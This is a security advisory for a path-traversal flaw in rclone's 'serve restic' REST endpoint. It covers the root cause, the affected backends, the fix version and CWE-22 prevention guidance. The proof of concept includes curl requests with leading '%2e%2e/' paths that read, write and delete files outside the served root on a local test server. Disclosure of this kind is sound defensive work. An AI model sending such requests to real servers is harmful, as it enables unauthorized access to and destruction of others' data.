GHSA-45pq-889g-fcgh BIT-rclone-2026-71309 CVE-2026-71309 GO-2026-6184
rclone: Incomplete path validation allows backend root escape in serve restic
- Severity
- 0.0 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.46%
- Chance of exploitation in the next 30 days. Higher than 39.77% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- Fix
1.75.0- Upgrade github.com/rclone/rclone to this version or later
Description
Summary
rclone serve restic does not correctly reject URL paths beginning with ../. On affected backends, an attacker who can access the REST endpoint can read, create, overwrite, or delete objects outside the path configured by the operator.
The issue affects rclone v1.40 through rclone v1.74.4. The proof of concept and backend matrix were validated with the official Linux AMD64 binary for v1.74.4, and the latest master commit reviewed at the time (2217d38) contained the same vulnerable validation. The main proof of concept uses WsgiDAV as an independent storage server and one rclone process.
Affected versions
All releases from v1.40 through v1.74.4 are affected.
Affected components and backend propagation
The primary vulnerable component is the backend-independent WithRemote middleware in cmd/serve/restic/restic.go, lines 235-264. It accepts a leading parent component and stores that unsafe relative path in the request context. The REST handlers then pass the same value to whichever rclone backend the operator configured. Therefore, the flaw is not specific to WebDAV.
The backend determines whether the accepted ../ path escapes, is preserved, or is encoded as safe filename characters. The source locations and line numbers below correspond to the release used for dynamic testing:
| Layer or backend | File and function | Relevant lines | Path propagation | Dynamic evidence |
|---|---|---|---|---|
| REST server, primary cause | cmd/serve/restic/restic.go, WithRemote |
235-264 | Accepts a leading ../ remote and shares it with GET, HEAD, POST, and DELETE handlers |
Confirmed through WebDAV |
| WebDAV | backend/webdav/webdav.go, (*Fs).filePath |
421-427 | path.Join(f.root, file) removes the configured root when resolving ../ |
read, write, delete |
| FTP | backend/ftp/ftp.go, (*Fs).NewObject, (*Object).Open, Update, and Remove |
844-848, 1308-1311, 1349-1356, 1411-1415 | Each operation joins the backend root and remote with path.Join before the FTP request |
read, write, delete |
| HTTP | backend/http/http.go, (*Fs).url |
386-395 | Appends the escaped remote containing ../ to the configured endpoint URL |
read |
| Memory | backend/memory/memory.go, (*Fs).split |
227-231 | Joins f.root and the relative path before splitting the in-memory bucket and key |
read, write, delete |
| SFTP | backend/sftp/sftp.go, (*Fs).remotePath |
2086-2089 | Joins f.absRoot and the remote, allowing the parent component to remove the published subdirectory |
read, write, delete |
These are backend-specific manifestations of the same WithRemote validation flaw, not separate vulnerabilities.
Technical Details
WithRemote obtains the decoded URL path, removes external slashes, and tries to reject traversal by comparing the path with path.Clean:
urlpath = strings.Trim(urlpath, "/")
// Reject any non-canonical path, in particular one containing ".."
// traversal elements.
if urlpath != "" && path.Clean(urlpath) != urlpath {
http.Error(w, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)
return
}
The comment describes the intended behavior, but the condition does not reject every parent component. path.Clean preserves leading parent components in a relative path:
path.Clean("../outside.txt") = "../outside.txt"
path.Clean("../../outside.txt") = "../../outside.txt"
Because both strings are equal, the middleware accepts the path. Internal traversal behaves differently:
path.Clean("a/../../outside.txt") = "../outside.txt"
These strings differ, so that request returns HTTP 400. This explains why the existing check appears to work while the leading variant bypasses it.
After validation, WithRemote stores the accepted value in the request context:
ctx := context.WithValue(r.Context(), ContextRemoteKey, urlpath)
next.ServeHTTP(w, r.WithContext(ctx))
GET, POST, and DELETE handlers retrieve this same value. GET passes it to s.f.NewObject, POST passes it to operations.RcatSize, and DELETE resolves the object and calls Remove. There is no second containment check.
WebDAV is used below as the concrete end-to-end example because it was the backend used for the main proof of concept. WebDAV is not the source of the validation flaw. The example demonstrates one way in which an unsafe remote accepted by WithRemote is propagated by a backend.
The WebDAV backend joins its configured root with the attacker-controlled remote:
func (f *Fs) filePath(file string) string {
subPath := path.Join(f.root, file)
if f.opt.Enc != encoder.EncodeZero {
subPath = f.opt.Enc.FromStandardPath(subPath)
}
return rest.URLPathEscapeAll(subPath)
}
For the proof of concept:
f.root = "served-root"
file = "../outside-secret.txt"
path.Join("served-root", "../outside-secret.txt")
= "outside-secret.txt"
The configured root is removed before encoding. WsgiDAV receives a normal operation for /outside-secret.txt, which is outside the root published by rclone serve restic.
The same accepted leading parent path propagates through the other affected backends tested. FTP joins its root and remote with path.Join before object operations; HTTP preserves served-root/../outside-secret.txt when constructing the endpoint request; Memory joins the root and relative path before splitting the bucket and key; and SFTP joins f.absRoot and the remote in remotePath. In each case, the backend receives the leading parent component already accepted by WithRemote. The exact escape mechanism and available operations vary by backend. Conversely, S3-compatible and local backends did not escape in the tested configuration because they encoded .. as filename characters.
Expected behavior is HTTP 400 before any backend operation. Actual behavior is HTTP 200 followed by an operation outside served-root.
Preconditions and impact
The operator must publish a backend subdirectory, the endpoint must be reachable, and the backend credential must have access to a parent or sibling object. Exploitability also depends on backend path semantics.
An attacker may:
- read files and objects outside the published backup root;
- create or overwrite sibling objects;
- delete objects when deletion is permitted;
- cross isolation boundaries between users, repositories, or automation jobs;
- indirectly compromise another system if it later trusts an overwritten configuration, script, or artifact.
--append-only reduces overwrite and delete impact but does not prevent traversal reads or creation of new objects.
Proof of concept
The following procedure was executed on Linux Mint 22.3 with the official rclone v1.74.4 Linux AMD64 binary, WsgiDAV 4.3.5, and Cheroot 10.0.1. The rclone binary reports that it was built with Go 1.26.5.
1. Create the storage layout
$ mkdir -p poc/storage/served-root
$ printf '%s\n' 'INSIDE-PUBLISHED-ROOT' > poc/storage/served-root/inside.txt
$ printf '%s\n' 'SECRET-OUTSIDE-PUBLISHED-ROOT' > poc/storage/outside-secret.txt
$ find poc/storage -type f
poc/storage/served-root/inside.txt
poc/storage/outside-secret.txt
2. Start the independent WebDAV server
$ python3 -m venv poc/venv
$ poc/venv/bin/pip install 'WsgiDAV==4.3.5' 'cheroot==10.0.1'
$ poc/venv/bin/wsgidav --host=127.0.0.1 --port=39500 \
--root="$PWD/poc/storage" --auth=anonymous --no-config
Running without configuration file.
...
Server: WsgiDAV/4.3.5 Cheroot/10.0.1 Python/3.12.3
3. Download, verify, and start rclone
$ curl -fLO https://downloads.rclone.org/v1.74.4/rclone-v1.74.4-linux-amd64.zip
$ curl -fLO https://downloads.rclone.org/v1.74.4/SHA256SUMS
$ grep ' rclone-v1.74.4-linux-amd64.zip$' SHA256SUMS | sha256sum -c -
rclone-v1.74.4-linux-amd64.zip: OK
$ unzip rclone-v1.74.4-linux-amd64.zip
$ ./rclone-v1.74.4-linux-amd64/rclone version | head -n 1
rclone v1.74.4
$ ./rclone-v1.74.4-linux-amd64/rclone serve restic ':webdav:served-root' \
--webdav-url http://127.0.0.1:39500 \
--webdav-vendor other --addr 127.0.0.1:39501 -vv
NOTICE: webdav root 'served-root': Serving restic REST API on [http://127.0.0.1:39501/]
4. Confirm normal access
$ curl --path-as-is -i http://127.0.0.1:39501/inside.txt
HTTP/1.1 200 OK
...
INSIDE-PUBLISHED-ROOT
5. Read outside the published root
$ curl --path-as-is -i http://127.0.0.1:39501/%2e%2e/outside-secret.txt
HTTP/1.1 200 OK
...
SECRET-OUTSIDE-PUBLISHED-ROOT
6. Write outside the published root
$ curl --path-as-is -i -X POST \
http://127.0.0.1:39501/%2e%2e/outside-write.txt \
--data-binary 'ATTACKER-CONTROLLED-OUTSIDE-ROOT'
HTTP/1.1 200 OK
...
$ cat poc/storage/outside-write.txt
ATTACKER-CONTROLLED-OUTSIDE-ROOT
7. Delete outside the published root
$ curl --path-as-is -i -X DELETE \
http://127.0.0.1:39501/%2e%2e/outside-write.txt
HTTP/1.1 200 OK
...
$ test ! -e poc/storage/outside-write.txt && echo 'physical file deleted'
physical file deleted
8. Compare with internal traversal
$ curl --path-as-is -i http://127.0.0.1:39501/a/../../outside-secret.txt
HTTP/1.1 400 Bad Request
...
Bad Request
This demonstrates why the existing check appears to work for interior traversal while the leading variant bypasses it.
Tested backends
| Backend | Local implementation | Result | Operations tested |
|---|---|---|---|
| WebDAV | WsgiDAV 4.3.5 | Affected | read, write, delete |
| FTP | pyftpdlib 2.2.0 | Affected | read, write, delete |
| HTTP | Python http.server 3.12.3 |
Affected | read |
| Memory | rclone memory backend | Affected | read, write, delete |
| SFTP | atmoz/sftp OpenSSH server |
Affected | read, write, delete |
| S3 compatible | MinIO | No root escape observed | read, write, delete |
| Local filesystem | default local encoding | No root escape observed | read, write, delete |
Only the backends listed in this table were tested or classified. Every row was dynamically repeated with the same official v1.74.4 Linux AMD64 binary identified in the proof of concept.
Suggested remediation
Reject . and .. components in WithRemote before storing the remote in the context. Validating the decoded relative path with io/fs.ValidPath, with explicit handling for the empty API root, is one possible approach. Authorization and backend lookup should use the same validated representation.
Regression tests should cover GET, HEAD, POST, and DELETE with .., ../x, ../../x, %2e%2e/x, a/../x, and a/../../x, both with and without --private-repos.
Additional impact scenarios identified by the maintainer
GET /../could reach the list handler and enumerate the parent directory, allowing an attacker to discover object names before accessing them.- With
--append-only, a request such asDELETE /../locks/<name>could satisfy the existing delete guard and delete an object outside the served root. - A bare
.path was also accepted. On bucket-based backends,POST /.could write an object outside the intended served path.
Credit: Caubi Loureiro of Vorpcel Research
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/rclone/rclone | >= 1.40.0, < 1.75.0 |
1.75.0 |
| github.com/rclone/rclone | < 1.75.0 |
1.75.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/rclone/rclone Go → 1.75.0
- go
go get github.com/rclone/rclone@v1.75.0 && go mod tidy
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- Low
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
Weakness
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
How to prevent it
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
- Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
- Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-38xv-hf3p-h7mq rclone: source object names can escape the configured root on upload | Medium | Also affects github.com/rclone/rclone |
| GHSA-2p48-j3qc-rx9f rclone: S3 multipart declared-length memory exhaustion | High | Also affects github.com/rclone/rclone |
| GHSA-p569-5gjg-9cmj rclone: RC per-server auth-proxy bypass | Critical | Also affects github.com/rclone/rclone |
| GHSA-xwwr-4h3p-r22c rclone serve s3: --auth-proxy without --auth-key authenticates nobody - full SigV4 signature bypass | Critical | Also affects github.com/rclone/rclone |
| GHSA-c476-6w5q-jw77 rclone: FTP cross-session auth-proxy backend confusion | High | Also affects github.com/rclone/rclone |
| GHSA-f8g7-2xjc-7mfh rclone: Directory metadata (chmod/chown/chtimes) applied through a planted symlink in rclone local --links escapes the destination | High | Also affects github.com/rclone/rclone |
| GHSA-p6m2-r3w9-mpxw rclone local: crafted Range request against a translated symlink panics (DoS) | Medium | Also affects github.com/rclone/rclone |
| GHSA-66hp-wgxq-6f5q rclone archive/zip: Zip Slip via unsanitized zip entry names lets a malicious archive escape its own namespace | Medium | Also affects github.com/rclone/rclone |
Credits: GitHub: CaubiLoureiro
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor